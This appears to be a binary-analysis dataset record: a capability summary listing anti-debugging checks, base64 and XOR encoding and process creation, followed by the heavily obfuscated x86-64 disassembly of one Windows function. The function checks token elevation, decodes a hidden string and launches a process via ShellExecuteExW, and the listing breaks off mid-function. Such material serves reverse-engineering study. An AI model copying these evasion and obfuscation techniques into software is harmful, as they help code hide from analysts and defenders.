Function at 0x140024fe0
Capabilities:
Check for debugger via api
Check for process debug object
Check for time delay via queryperformancecounter
Check processdebugflags
Check processdebugport
Create process on windows
Encode data using base64
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x188
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xf0], xmm6
mov eax, dword [0x141dc62f8]
sub eax, dword [0x141dc62fc]
mov ecx, 0xe45365f5
imul rcx, rax
shr rcx, 0x3e
imul eax, ecx, 0x36ad6910
add eax, 0x41b5a397
cmp eax, 0x50ffddfe
ja 0x140025282
mov eax, dword [0x141dc6300]
xor edx, edx
div dword [0x141dc6304]
imul ecx, eax, 0x1877acdb
and ecx, 0xa1ee6fdb
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov qword [rbp + 0x30], rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov qword [rbp + 0x98], rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov qword [rbp + 0xd0], rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov qword [rbp + 0x90], rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov qword [rbp + 0x28], rsp
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov qword [rbp + 0xd8], rsp
mov eax, 0x70
call fcn.1400f1350
sub rsp, rax
mov qword [rbp + 0x80], rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov qword [rbp + 0x18], rsp
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov qword [rbp - 0x80], rsp
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov qword [rbp + 0xc8], rsp
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov qword [rbp - 0x78], rsp
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov qword [rbp + 0x10], rsp
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov qword [rbp + 0x78], rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov qword [rbp + 0x88], rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov qword [rbp + 0xe8], rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov r14, rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov qword [rbp + 0x20], rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov qword [rbp - 0x70], rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov qword [rbp - 0x68], rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov qword [rbp - 0x60], rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov rsi, rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov r15, rsp
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov r12, rsp
mov eax, 0x30
call fcn.1400f1350
sub rsp, rax
mov rbx, rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov rdi, rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov r13, rsp
mov eax, 0x30
call fcn.1400f1350
sub rsp, rax
mov rdx, rsp
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov r9, rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov r8, rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov r10, rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov r11, rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov rax, rsp
cmp ecx, 0x781c39fd
jne 0x140025427
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov eax, 0x70
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov eax, 0x30
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x30
call fcn.1400f1350
sub rsp, rax
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
jmp 0x140025031
mov qword [rbp - 0x50], r10
mov qword [rbp + 0x48], r9
mov qword [rbp + 0x40], rdx
mov qword [rbp - 0x58], r8
mov qword [rbp - 0x38], r13
mov qword [rbp + 0x38], rdi
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x30], r15
mov qword [rbp - 0x48], rsi
mov qword [rbp + 0x50], rax
mov qword [rbp + 0xb8], r11
mov eax, dword [0x141dc6308]
and eax, dword [0x141dc630c]
imul eax, eax, 0x41fb1c74
add eax, 0x5e0374cf
cmp eax, 0x3861d533
mov rdx, qword [rbp + 0x88]
mov qword [rbp + 0xe0], r14
ja 0x1400255e0
mov eax, dword [0x141dc6310]
imul eax, dword [0x141dc6314]
mov ecx, 0xcf2c6565
imul rcx, rax
shr rcx, 0x3e
and ecx, 1
or ecx, 0xddcfc3f8
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov qword [rbp + 0xa8], rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov qword [rbp + 0xb0], rsp
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov qword [rbp + 0x88], rsp
mov eax, 0x30
call fcn.1400f1350
sub rsp, rax
mov qword [rbp + 0xa0], rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov rsi, rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov r15, rsp
mov eax, 0x30
call fcn.1400f1350
sub rsp, rax
mov rdi, rsp
mov eax, 0x30
call fcn.1400f1350
sub rsp, rax
mov r9, rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov r10, rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov r11, rsp
mov eax, 0x30
call fcn.1400f1350
sub rsp, rax
mov r14, rsp
mov eax, 0x30
call fcn.1400f1350
sub rsp, rax
mov r13, rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov r12, rsp
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov r8, rsp
mov eax, 0x30
call fcn.1400f1350
sub rsp, rax
mov rax, rsp
mov rbx, qword [rbp + 0xe0]
mov qword [rbx], 0
mov rbx, rdx
mov rdx, qword [rbp + 0xe8]
mov dword [rdx], 0
mov rdx, rbx
mov dword [rbx], 0
cmp ecx, 0xfcfb1362
jbe 0x1400256c9
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x20
call fcn.1400f1350
sub rsp, rax
mov eax, 0x30
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x30
call fcn.1400f1350
sub rsp, rax
mov eax, 0x30
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x30
call fcn.1400f1350
sub rsp, rax
mov eax, 0x30
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x10
call fcn.1400f1350
sub rsp, rax
mov eax, 0x30
call fcn.1400f1350
sub rsp, rax
mov rax, qword [rbp + 0xe0]
mov qword [rax], 0
mov rax, qword [rbp + 0xe8]
mov dword [rax], 0
mov dword [rdx], 0
jmp 0x14002548a
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x58], r13
mov qword [rbp + 0xc0], rsi
mov qword [rbp - 0x18], rdi
mov qword [rbp - 0x20], r15
mov r13, rdx
mov qword [rbp], r11
mov qword [rbp - 8], r10
mov qword [rbp - 0x10], r9
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x68], r8
mov eax, dword [0x141dc6318]
mov ecx, dword [0x141dc631c]
add eax, ecx
add eax, 0xbc9e811f
or eax, 0x570d8da7
and eax, 0xdfedafbf
cmp eax, 0x10504759
mov rsi, qword [rbp + 0xe0]
jb 0x140025767
mov eax, dword [0x141dc6320]
xor edx, edx
div dword [0x141dc6324]
mov r12d, eax
add r12d, 0xdfd89937
or r12d, 0x5ef10cd1
sub rsp, 0x20
call sub.KERNEL32.dll_GetCurrentProcess
mov rcx, rax
mov edx, 8
mov r8, rsi
call sub.ADVAPI32.dll_OpenProcessToken
add rsp, 0x20
cmp r12d, 0xaa2f1159
jae 0x140025786
sub rsp, 0x20
call sub.KERNEL32.dll_GetCurrentProcess
mov rcx, rax
mov edx, 8
mov r8, rsi
call sub.ADVAPI32.dll_OpenProcessToken
add rsp, 0x20
jmp 0x140025722
test eax, eax
mov qword [rbp + 8], r14
je 0x140025a60
nop word cs:[rax + rax]
mov eax, dword [0x141dc6338]
xor eax, dword [0x141dc633c]
or eax, 0x78f17b3a
imul eax, eax, 0xcd81d7f6
cmp eax, 0x88614459
je 0x1400257a0
mov r14, qword [rsi]
mov eax, dword [0x141dc6340]
sub eax, dword [0x141dc6344]
imul rax, rax, 0x22f09ce3
shr rax, 0x3d
imul eax, eax, 0x316e3eaa
cmp eax, 0x30a532ab
jne 0x14002580c
sub rsp, 0x30
mov qword [rsp + 0x20], r13
mov rcx, r14
mov edx, 0x14
mov r8, qword [rbp + 0xe8]
mov r9d, 4
call sub.ADVAPI32.dll_GetTokenInformation
add rsp, 0x30
mov r12, qword [rbp + 0xe8]
nop word cs:[rax + rax]
mov eax, dword [0x141dc6348]
or eax, dword [0x141dc634c]
imul rax, rax, 0x15ea62d3
shr rax, 0x37
imul esi, eax, 0x8cb4bb4c
add esi, 0x74c05638
sub rsp, 0x30
mov qword [rsp + 0x20], r13
mov rcx, r14
mov edx, 0x14
mov r8, r12
mov r9d, 4
call sub.ADVAPI32.dll_GetTokenInformation
add rsp, 0x30
cmp esi, 0xac44b144
jb 0x140025820
test eax, eax
je 0x140025a60
mov rax, qword [rbp + 0xe8]
mov eax, dword [rax]
mov ecx, 0xa0690fd1
nop word cs:[rax + rax]
mov edx, dword [0x141dc6350]
and edx, dword [0x141dc6354]
xor edx, 0xd3d37b45
imul rdx, rcx
shr rdx, 0x3d
cmp edx, 0x6098110f
je 0x140025890
test eax, eax
mov r14, qword [rbp + 0x90]
mov rsi, qword [rbp + 0xa0]
mov rbx, qword [rbp + 0xc0]
mov rdx, qword [rbp + 0xa8]
mov rcx, qword [rbp + 0xb0]
je 0x140025aa0
lea rax, [0x141da77be]
mov qword [rcx], rax
mov rcx, qword [rcx]
movabs rax, 0x28ee358551049bf3
mov qword [rdx], rax
mov rdx, qword [rdx]
sub rsp, 0x20
call fcn.14001a200
add rsp, 0x20
movabs rcx, 0x6473f65616740f59
xor rcx, qword [rax]
movabs rdx, 0x5c3c7d014d9e5a4a
xor rdx, qword [rax + 8]
movabs r8, 0x4259c9f0a01aad2f
xor r8, qword [rax + 0x10]
movabs r9, 0x3bbd058d17997c23
xor r9, qword [rax + 0x18]
movabs r10, 0x3021bc15fa91e96b
xor r10, qword [rax + 0x20]
mov r11d, 0xf3c0e744
xor r11d, dword [rax + 0x28]
movzx eax, byte [rax + 0x2c]
xor al, 0xd0
mov qword [rsi], rcx
mov qword [rsi + 8], rdx
mov qword [rsi + 0x10], r8
mov qword [rsi + 0x18], r9
mov qword [rsi + 0x20], r10
mov dword [rsi + 0x28], r11d
mov byte [rsi + 0x2c], al
mov qword [rbx], rsi
mov qword [rbx + 8], 0x2d
mov rdi, qword [rbp - 0x20]
mov qword [rdi], rbx
lea rax, [0x14000cf60]
mov qword [rdi + 8], rax
lea rax, [0x140104eb0]
mov rbx, qword [rbp - 0x18]
mov qword [rbx], rax
mov qword [rbx + 8], 2
mov eax, dword [0x141dc65f8]
imul eax, dword [0x141dc65fc]
imul rax, rax, 0x48dee1
shr rax, 0x35
xor eax, 0x4b2a3f46
add eax, 0x923f4bf7
cmp eax, 0xedcf3976
jbe 0x1400259f6
mov qword [rbx + 0x20], 0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 1
sub rsp, 0x20
mov rcx, rbx
call fcn.1400a21c0
add rsp, 0x20
mov r15, qword [rbp + 0x28]
nop word [rax + rax]
mov esi, dword [0x141dc6600]
imul esi, dword [0x141dc6604]
add esi, 0xff728722
or esi, 0x953f0ebb
add esi, 0x7f131255
mov qword [rbx + 0x20], 0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], 1
sub rsp, 0x20
mov rcx, rbx
call fcn.1400a21c0
add rsp, 0x20
cmp esi, 0xf0ca5e2d
ja 0x140025a00
xor eax, eax
nop dword [rax]
test al, al
jne 0x140025a50
jmp case.0x1400275ca.0
mov eax, dword [0x141dc6328]
and eax, dword [0x141dc632c]
cmp eax, 0xb0924196
je 0x140025a60
nop word cs:[rax + rax]
mov eax, dword [0x141dc6330]
xor edx, edx
div dword [0x141dc6334]
or eax, 0x768e99e6
xor eax, 0xdf9a14f7
cmp eax, 0x13e2d0dd
jb 0x140025a80
nop
mov eax, dword [0x141dc6358]
xor edx, edx
div dword [0x141dc635c]
imul eax, eax, 0xe1030b29
imul rax, rax, 0x5df49d3b
shr rax, 0x3e
or eax, 0xd2e8f088
cmp eax, 0x86e71dbf
je 0x140025aa0
xorps xmm6, xmm6
mov rbx, qword [rbp + 0x48]
mov r15, qword [rbp + 0x80]
nop dword [rax]
mov eax, dword [0x141dc6360]
sub eax, dword [0x141dc6364]
add eax, 0xb8e36c37
or eax, 0x299bcfe7
cmp eax, 0xe6d6e8c9
je 0x140025ca0
nop word cs:[rax + rax]
mov eax, dword [0x141dc6368]
xor eax, dword [0x141dc636c]
imul eax, eax, 0x3d05682f
xor eax, 0xbd37d810
imul esi, eax, 0x95424fa5
sub rsp, 0x20
mov rcx, rbx
call fcn.140094290
add rsp, 0x20
cmp esi, 0x608eaa5a
jb 0x140025ca0
mov r14, qword [rbx]
mov r13, qword [rbx + 8]
mov eax, dword [0x141dc6370]
sub eax, dword [0x141dc6374]
xor eax, 0x5953
and eax, 0x84885f73
cmp eax, 0x29e71fc6
jb 0x140025b50
movabs rax, 0x8000000000000000
cmp r14, rax
mov rsi, qword [rbp + 0xb8]
mov rdx, qword [rbp - 0x58]
mov rcx, qword [rbp - 0x50]
je 0x140026e9c
mov r8, qword [rbx + 0x10]
nop word cs:[rax + rax]
mov eax, dword [0x141dc6378]
mov ecx, dword [0x141dc637c]
add eax, ecx
add eax, 0x3fb33eb6
cmp eax, 0x52178aba
ja 0x140025ba0
sub rsp, 0x20
mov rsi, qword [rbp - 0x40]
mov rcx, rsi
mov rdx, r13
call fcn.140055780
add rsp, 0x20
cmp qword [rsi], 0
mov rbx, qword [sym.imp.KERNEL32.dll_HeapFree]
jne 0x140027048
nop word cs:[rax + rax]
mov eax, dword [0x141dc6380]
xor eax, dword [0x141dc6384]
imul eax, eax, 0x6bce044c
add eax, 0x4a960372
cmp eax, 0xda4e8ab4
ja 0x140025bf0
mov r12, qword [rsi + 8]
mov rdi, qword [rsi + 0x10]
nop word cs:[rax + rax]
mov eax, dword [0x141dc6388]
add eax, dword [0x141dc638c]
and eax, 0x205a0cc2
add eax, 0x8a3d62b1
cmp eax, 0x9b66d249
jb 0x140025c20
test rdi, rdi
js 0x140026fa9
nop word cs:[rax + rax]
mov eax, dword [0x141dc63a8]
and eax, dword [0x141dc63ac]
cmp eax, 0x751476e6
je 0x140025c50
test rdi, rdi
je 0x140025cc0
mov eax, dword [0x141dc63b0]
xor edx, edx
div dword [0x141dc63b4]
imul eax, eax, 0xc861e733
and eax, 0xcec4032e
cmp eax, 0x23a9b1d
jne 0x140026730
jmp 0x140026790
sub rsp, 0x20
mov rcx, rbx
call fcn.140094290
add rsp, 0x20
jmp 0x140025b10
mov ecx, 1
mov qword [rbp + 0xe8], r13
sub rsp, 0x20
mov rsi, rcx
mov rdx, r12
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
add rsp, 0x20
mov rax, qword [rbp + 0x78]
mov qword [rax], 0
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
mov qword [rbp + 0xa0], rdi
lea rax, [rsi + rdi]
mov rdx, qword [rbp - 0x78]
mov qword [rbp + 0xc0], rsi
mov qword [rdx], rsi
mov qword [rdx + 8], rax
mov word [rdx + 0x10], 0
mov dword [rdx + 0x18], 1
sub rsp, 0x20
mov rdi, qword [rbp + 0x10]
mov rcx, rdi
call fcn.140086180
add rsp, 0x20
mov rdx, qword [rbp - 0x80]
mov qword [rdx], 1
mov qword [rdx + 8], 1
mov word [rdx + 0x10], 0
mov dword [rdx + 0x18], 1
sub rsp, 0x20
mov rsi, qword [rbp + 0xc8]
mov rcx, rsi
call fcn.140086180
add rsp, 0x20
mov rdi, qword [rdi + 8]
mov rsi, qword [rsi + 8]
mov rax, qword [rbp + 0x18]
mov dword [rax], 0
movups xmmword [r15 + 0x60], xmm6
movups xmmword [r15 + 0x50], xmm6
movups xmmword [r15 + 0x40], xmm6
movups xmmword [r15 + 0x30], xmm6
movups xmmword [r15 + 0x20], xmm6
movups xmmword [r15 + 0x10], xmm6
movups xmmword [r15], xmm6
mov al, 1
test al, al
je 0x140026fdb
movzx eax, byte [0x141dde6f8]
sub rsp, 0x20
mov edx, 8
xor ecx, ecx
call fcn.1400c29b0
add rsp, 0x20
mov r13, rax
mov rcx, qword [rbp + 0xd8]
xor r11d, r11d
mov edx, 0xffcd436d
nop dword [rax]
mov eax, dword [0x141dc63f8]
add eax, dword [0x141dc63fc]
xor eax, 0xf31ff3e4
add eax, 0xd1aaa33b
or eax, 0x6bf25f37
cmp eax, 0x9a51597f
jb 0x140025de0
nop word cs:[rax + rax]
mov eax, dword [0x141dc6400]
and eax, dword [0x141dc6404]
imul rax, rdx
shr rax, 0x3e
imul eax, eax, 0xddbc5e79
imul rax, rax, 0x42a70eb3
shr rax, 0x3d
cmp eax, 0xa969a75f
ja 0x140025e10
test r13, r13
je 0x140027039
mov qword [rbp + 0xb0], rsi
mov qword [rbp + 0xa8], rdi
mov qword [rbp + 0xe0], r14
mov word [r13], 0x72
mov eax, 4
mov qword [rcx], rax
mov qword [rcx + 8], r13
mov qword [rcx + 0x10], 1
nop word cs:[rax + rax]
mov eax, dword [0x141dc6410]
add eax, dword [0x141dc6414]
imul rdx, rax, 0x1bcdbc27
shr rdx, 0x20
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0x1f
cmp eax, 0xf51d0935
je 0x140025e80
mov r12d, 1
xor r14d, r14d
lea rdi, [0x141dbb4f3]
jmp 0x140025ed0
mov word [r13 + r12*2], r14w
inc r12
mov qword [rcx + 0x10], r12
mov r14d, esi
test r14w, r14w
je 0x140025ee0
xor esi, esi
jmp 0x1400261a6
test r11b, r11b
jne 0x140025ee0
nop word cs:[rax + rax]
mov eax, dword [0x141dc6418]
imul eax, dword [0x141dc641c]
add eax, 0x6c75abdd
imul rax, rax, 0x1a5d8b03
shr rax, 0x3c
cmp eax, 0x212b31cc
je 0x140025ef0
lea rax, [0x141dbb4f8]
cmp rdi, rax
je 0x140026330
mov eax, dword [0x141dc6420]
imul eax, dword [0x141dc6424]
or eax, 0x26e65504
imul eax, eax, 0x6e6e30d8
and eax, 0x28578698
cmp eax, 0xf7aa2f5d
ja 0x140025f24
lea rax, [rdi + 1]
movzx edx, byte [rdi]
nop
mov r8d, dword [0x141dc6428]
sub r8d, dword [0x141dc642c]
imul r8d, r8d, 0xf5ba1618
add r8d, 0x49a8abd6
imul r9, r8, 0x156ae63
shr r9, 0x20
sub r8d, r9d
shr r8d, 1
add r8d, r9d
shr r8d, 0x1f
cmp r8d, 0xbf2e5f2d
ja 0x140025f50
test dl, dl
js 0x140025fc0
mov r8d, dword [0x141dc6438]
sub r8d, dword [0x141dc643c]
or r8d, 0x8dd7ffa5
imul r8d, r8d, 0x748e1ff1
cmp r8d, 0x193c4f94
jbe 0x140025f91
mov r14d, edx
jmp 0x1400261a1
mov eax, dword [0x141dc6430]
or eax, dword [0x141dc6434]
or eax, 0xb226d783
and eax, 0xf626dfa3
cmp eax, 0xc8909a68
ja 0x140025fc0
mov r8d, edx
and r8d, 0x1f
movzx r10d, byte [rdi + 1]
and r10d, 0x3f
cmp dl, 0xdf
jbe 0x140026190
lea rax, [rdi + 3]
mov rsi, rdi
movzx r9d, byte [rdi + 2]
mov r11d, dword [0x141dc6440]
or r11d, dword [0x141dc6444]
or r11d, 0x4112ca89
mov ecx, 0x991600b5
imul r11, rcx
shr r11, 0x3f
xor r11d, 0x20660b27
cmp r11d, 0x50b8a4c9
ja 0x140026002
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
mov r14d, r8d
shl r14d, 0xc
or r14d, r9d
nop dword [rax]
mov r10d, dword [0x141dc6448]
add r10d, dword [0x141dc644c]
xor r10d, 0x9a144d8d
or r10d, 0x40e9b030
imul r10d, r10d, 0x7a143559
cmp r10d, 0xc22de12c
je 0x140026050
cmp dl, 0xf0
mov rcx, qword [rbp + 0xd8]
mov r11d, 0
jb 0x1400260f0
mov eax, dword [0x141dc6450]
and eax, dword [0x141dc6454]
or eax, 0x6fdb6f9f
cmp eax, 0xc67b63c3
je 0x14002608e
mov rdx, rsi
nop dword [rax]
mov eax, dword [0x141dc6458]
sub eax, dword [0x141dc645c]
and eax, 0xb2c5faae
imul eax, eax, 0xc587656
cmp eax, 0xa5a6dfef
je 0x1400260b0
movzx r14d, byte [rdx + 3]
add rdx, 4
and r8d, 7
shl r8d, 0x12
shl r9d, 6
and r14d, 0x3f
or r14d, r9d
or r14d, r8d
mov rax, rdx
cmp r14d, 0xffff
jbe 0x1400261a1
lea edx, [r14 + 0xff0000]
nop word cs:[rax + rax]
mov r8d, dword [0x141dc6460]
add r8d, dword [0x141dc6464]
imul r8d, r8d, 0xc13e5b27
add r8d, 0x54f1e47e
imul r8, r8, 0x499a15bf
shr r8, 0x38
cmp r8d, 0xec406807
ja 0x140026110
shr edx, 0xa
nop word cs:[rax + rax]
mov r8d, dword [0x141dc6468]
add r8d, dword [0x141dc646c]
and r8d, 0x11520328
cmp r8d, 0xc8409a10
je 0x140026150
movzx edx, dx
or edx, 0xd800
and r14d, 0x3ff
or r14d, 0xdc00
mov rdi, rax
mov esi, r14d
mov r14d, edx
jmp 0x1400261a6
add rdi, 2
shl r8d, 6
or r8d, r10d
mov rax, rdi
mov r14d, r8d
xor esi, esi
mov rdi, rax
mov eax, dword [0x141dc6470]
xor edx, edx
div dword [0x141dc6474]
nop word cs:[rax + rax]
mov eax, dword [0x141dc6478]
sub eax, dword [0x141dc647c]
imul rax, rax, 0x7296954f
shr rax, 0x3e
or eax, 0x22108038
cmp eax, 0x18b9893
jb 0x1400261c0
cmp r12, qword [rcx]
jne 0x140025ec0
mov r8d, 0xbd02ba4d
nop word cs:[rax + rax]
mov eax, dword [0x141dc6480]
xor edx, edx
div dword [0x141dc6484]
add eax, 0xa8d92d19
imul rax, r8
shr rax, 0x3f
cmp eax, 0xe3fb3179
je 0x140026200
mov eax, dword [0x141dc6488]
imul eax, dword [0x141dc648c]
imul rax, rax, 0x66ca02f9
shr rax, 0x3e
or eax, 0x67d2005e
cmp eax, 0xcb3c61b3
je 0x1400262d8
lea rbx, [0x141dbb4f2]
movabs r15, 0xaaaaaaaaaaaaaaab
mov eax, dword [0x141dc6490]
add eax, dword [0x141dc6494]
imul r13d, eax, 0xb371f926
add r13d, 0x5350a1a4
mov rax, rbx
sub rax, rdi
add rax, 8
mul r15
shr rdx, 1
cmp si, 1
sbb rdx, 0
lea r8, [rdx + 2]
sub rsp, 0x30
mov qword [rsp + 0x20], 2
mov r9d, 2
mov rdx, r12
call fcn.1400f2140
mov rcx, qword [rbp + 0xd8]
add rsp, 0x30
cmp r13d, 0xf6a76076
jb 0x14002625b
xor r11d, r11d
mov rbx, qword [sym.imp.KERNEL32.dll_HeapFree]
mov r13, qword [rcx + 8]
test r11b, r11b
jne 0x1400262ca
jmp 0x140025ec0
lea rax, [0x141dbb4f2]
sub rax, rdi
add rax, 8
movabs rdx, 0xaaaaaaaaaaaaaaab
mul rdx
shr rdx, 1
cmp si, 1
sbb rdx, 0
lea r8, [rdx + 2]
sub rsp, 0x30
mov qword [rsp + 0x20], 2
mov r9d, 2
mov rdx, r12
call fcn.1400f2140
mov rcx, qword [rbp + 0xd8]
add rsp, 0x30
jmp 0x14002624a
mov r14, qword [rcx]
mov r12, qword [rcx + 8]
sub rsp, 0x20
xor ecx, ecx
mov edx, 6
call qword [sym.imp.ole32.dll_CoInitializeEx]
add rsp, 0x20
mov r15, qword [rbp + 0x80]
movabs rax, 0x14000000070
mov qword [r15], rax
mov qword [r15 + 0x10], r12
mov rax, qword [rbp + 0xa8]
mov qword [r15 + 0x18], rax
mov rax, qword [rbp + 0xb0]
mov qword [r15 + 0x20], rax
mov dword [r15 + 0x30], 1
sub rsp, 0x20
mov rcx, r15
call qword [sym.imp.shell32.dll_ShellExecuteExW]
add rsp, 0x20
mov rcx, qword [r15 + 0x68]
mov r13, qword [rbp + 0x40]
mov edi, 0x8ce51ba3
test rcx, rcx
sete dl
test eax, eax
sete r8b
mov r9d, dword [0x141dc6498]
and r9d, dword [0x141dc649c]
add r9d, 0xd7b2e27
xor r9d, 0x10564820
or r9d, 0xce013445
cmp r9d, 0x23b8c3ac
je 0x1400263a0
or r8b, dl
je 0x140026570
nop word cs:[rax + rax]
mov eax, dword [0x141dc64a0]
add eax, dword [0x141dc64a4]
xor eax, 0xc42d2413
and eax, 0xd4ad2777
add eax, 0x7773a60d
cmp eax, 0x1edfd7c7
jb 0x1400263f0
test r14, r14
je 0x1400264d0
mov r14, qword [0x141dde6e0]
mov eax, dword [0x141dc64a8]
sub eax, dword [0x141dc64ac]
or eax, 0xc4aac377
imul eax, eax, 0xbf399edf
mov ecx, 0x8c049291
imul rax, rcx
shr rax, 0x3f
cmp eax, 0x66cbaf96
jne 0x140026460
sub rsp, 0x20
mov rcx, r14
xor edx, edx
mov r8, r12
call rbx
add rsp, 0x20
nop
mov esi, dword [0x141dc64b0]
or esi, dword [0x141dc64b4]
xor esi, 0x4ca4f768
imul rsi, rdi
shr rsi, 0x3e
add esi, 0xf5161de7
sub rsp, 0x20
mov rcx, r14
xor edx, edx
mov r8, r12
call rbx
add rsp, 0x20
cmp esi, 0xd038159e
jb 0x140026460
nop word [rax + rax]
mov eax, dword [0x141dc64b8]
or eax, dword [0x141dc64bc]
imul eax, eax, 0x809d0a33
add eax, 0xdce2e975
or eax, 0xb476d73
cmp eax, 0x2b848308
jb 0x1400264a0
nop word cs:[rax + rax]
mov eax, dword [0x141dc64c0]
and eax, dword [0x141dc64c4]
or eax, 0x7228730
imul eax, eax, 0xdcea4894
add eax, 0xe959165c
cmp eax, 0x9d3339a1
ja 0x1400264d0
mov rcx, qword [rbp + 0xc8]
nop word [rax + rax]
mov eax, dword [0x141dc64c8]
or eax, dword [0x141dc64cc]
imul eax, eax, 0xdf39f28c
or eax, 0x4aed7ef7
add eax, 0xa28b3df7
cmp eax, 0xa26ebbca
ja 0x140026500
nop word cs:[rax + rax]
mov eax, dword [0x141dc64d0]
xor edx, edx
div dword [0x141dc64d4]
imul eax, eax, 0x694c5974
and eax, 0xdfcaa7e4
cmp eax, 0x6f0cab29
jae 0x140026530
mov edi, 0xffffffff
cmp qword [rcx], 0
jne 0x1400266f3
jmp 0x140026880
sub rsp, 0x20
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add rsp, 0x20
mov rcx, qword [r15 + 0x68]
sub rsp, 0x20
mov rsi, qword [rbp + 0x18]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
add rsp, 0x20
mov esi, dword [rsi]
mov ecx, dword [0x141dc64d8]
sub ecx, dword [0x141dc64dc]
or ecx, 0x14abe986
imul ecx, ecx, 0x3ec8e5fb
xor ecx, 0x661d5056
cmp eax, 1
mov edi, 0
sbb edi, edi
cmp ecx, 0x8c2877cd
jb 0x14002659e
test r14, r14
je 0x1400266b3
mov eax, dword [0x141dc64e0]
and eax, dword [0x141dc64e4]
add eax, 0xe7d12052
xor eax, 0xae5c276
imul rax, rax, 0x2cbaaa79
shr rax, 0x3b
cmp eax, 0x29007805
mov ecx, 0
